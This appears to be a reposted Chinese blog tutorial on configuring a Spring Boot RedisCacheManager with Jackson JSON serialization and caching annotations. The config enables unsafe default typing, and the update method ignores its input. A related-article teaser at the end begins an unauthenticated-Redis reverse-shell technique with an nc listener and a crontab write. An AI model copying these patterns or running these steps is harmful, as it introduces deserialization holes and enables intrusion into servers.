redis自定义RedisCacheManager

摘要:
1.Redis自定义配置包com.meritdata.cloud.shellmiddleplatform.dataservice.config;importcom.fasterxml.jackson.annotation.JsonAutoDetect;importcom.fasterxml.jackson.annotation.PropertyAccessor;导入com.fa

1.redis自定义配置

package com.meritdata.cloud.shellmiddleplatform.dataservice.config;

import com.fasterxml.jackson.annotation.JsonAutoDetect;
import com.fasterxml.jackson.annotation.PropertyAccessor;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.meritdata.shellmodel.ShellMerchant;
import org.springframework.cache.annotation.EnableCaching;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.redis.cache.RedisCacheConfiguration;
import org.springframework.data.redis.cache.RedisCacheManager;
import org.springframework.data.redis.connection.RedisConnectionFactory;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer;
import org.springframework.data.redis.serializer.RedisSerializationContext;

/**
 * 2020/8/13 4:41 PM
 *
 * @author shoo
 * @describe
 */
@Configuration
@EnableCaching
public class MyRedisCacheConfiguration {
    @Bean
    public RedisTemplate redisTemplate(RedisConnectionFactory redisConnectionFactory) {
        RedisTemplate<String, Object> redisTemplate = new RedisTemplate<>();
        redisTemplate.setConnectionFactory(redisConnectionFactory);

        Jackson2JsonRedisSerializer jacksonSeial = new Jackson2JsonRedisSerializer(Object.class);
        ObjectMapper om = new ObjectMapper();
        om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
        om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        jacksonSeial.setObjectMapper(om);

        //设置默认缓存序列器为json序列化器
        redisTemplate.setDefaultSerializer(jacksonSeial);
        return redisTemplate;
    }

    //springboot 2.x 创建方式
    @Bean
    public RedisCacheManager cacheManager(RedisConnectionFactory redisConnectionFactory) {
        Jackson2JsonRedisSerializer jacksonSeial = new Jackson2JsonRedisSerializer(Object.class);
        ObjectMapper om = new ObjectMapper();
        om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
        om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        jacksonSeial.setObjectMapper(om);

        //配置缓存管理器为json序列化器
        RedisCacheConfiguration config = RedisCacheConfiguration.defaultCacheConfig()
                .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(jacksonSeial));
        //使用自定义的配置构建缓存管理器
        RedisCacheManager cacheManager = RedisCacheManager.builder(redisConnectionFactory).cacheDefaults(config).build();
        return cacheManager;
    }
}

2.用法

 2.1 类上添加注解 @CacheConfig(cacheNames = "shellMerchant")

 2.2 查询方法上添加注解 @Cacheable(key = "#clientId")

 2.3 更新方法上添加注解 @CachePut(key = "#shellMerchant.clientId")

package com.meritdata.cloud.shellmiddleplatform.dataservice.fourInOne.service.impl;/**
 * 2020/7/2 11:29 AM
 *
 * @author shoo
 * @describe 商户
 *
 */
@Service
@CacheConfig(cacheNames = "shellMerchant")
public class ShellMerchantService implements IShellMerchantService {

    @Autowired
    private ShellMerchantRepository shellMerchantRepository;

    @Override
    @CachePut(key = "#shellMerchant.clientId")
    public ShellMerchant add(ShellMerchant shellMerchant) {return shellMerchantRepository.save(shellMerchant);
    }

    @Override
    @Cacheable(key = "#clientId")
    public ShellMerchant sel(String clientId) {
        return shellMerchantRepository.findByClientId(clientId);
    }

    @Override
    @CachePut(key = "#shellMerchant.clientId")
    public ShellMerchant update(ShellMerchant shellMerchant) {
        ShellMerchant merchant = shellMerchantRepository.getById(shellMerchant.getId());
        merchant = shellMerchantRepository.save(merchant);
        return merchant;
    }

}

3.redis缓存如下
redis自定义RedisCacheManager第1张

免责声明:文章转载自《redis自定义RedisCacheManager》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇The 2015 China Collegiate Programming Contest -ccpc-c题-The Battle of Chibi(hdu5542)(树状数组,离散化)跟我学AI建模:分子动力学仿真模拟之DeepMD-kit框架下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Redis实现访问控制频率

为什么限制访问频率 做服务接口时通常需要用到请求频率限制 Rate limiting,例如限制一个用户1分钟内最多可以范围100次 主要用来保证服务性能和保护数据安全 因为如果不进行限制,服务调用者可以随意访问,想调几次就调几次,会给服务造成很大的压力,降低性能,再比如有的接口需要验证调用者身份,如果不进行访问限制,调用者可以进行暴力尝试 redis如...

spring + redis 实现数据的缓存

1、实现目标   通过redis缓存数据。(目的不是加快查询的速度,而是减少数据库的负担)   2、所需jar包      注意:jdies和commons-pool两个jar的版本是有对应关系的,注意引入jar包是要配对使用,否则将会报错。因为commons-pooljar的目录根据版本的变化,目录结构会变。前面的版本是org.apache.pool,而...

Redis中的批量操作Pipeline

大多数情况下,我们都会通过请求-相应机制去操作redis。只用这种模式的一般的步骤是,先获得jedis实例,然后通过jedis的get/put方法与redis交互。由于redis是单线程的,下一次请求必须等待上一次请求执行完成后才能继续执行。然而使用Pipeline模式,客户端可以一次性的发送多个命令,无需等待服务端返回。这样就大大的减少了网络往返时间,提...

SpringBoot整合Redis乱码原因及解决方案

问题描述:springboot使用spring data redis存储数据时乱码 redis key/value 出现xACxEDx00x05tx00x05 问题分析: 查看RedisTemplate类 JdkSerializationRedisSerializer类 SerializingConverter类 DefaultSerialize...

redis未授权访问漏洞利用获得shell

方法一、利用计划任务执行命令反弹shell 在redis以root权限运行时可以写crontab来执行命令反弹shell 先在自己的服务器上监听一个端口: nc -lvnp 7999 然后执行命令: root@kali:~# redis-cli -h 192.168.63.130 192.168.63.130:6379> set x " * *...

Nginx技术研究系列5-动态路由升级版

前几篇文章我们介绍了Nginx的配置、OpenResty安装配置、基于Redis的动态路由以及Nginx的监控。 Nginx-OpenResty安装配置 Nginx配置详解 Nginx技术研究系列1-通过应用场景看Nginx的反向代理 Nginx技术研究系列2-基于Redis实现动态路由 [原创]Nginx监控-Nginx+Telegraf+Influxb...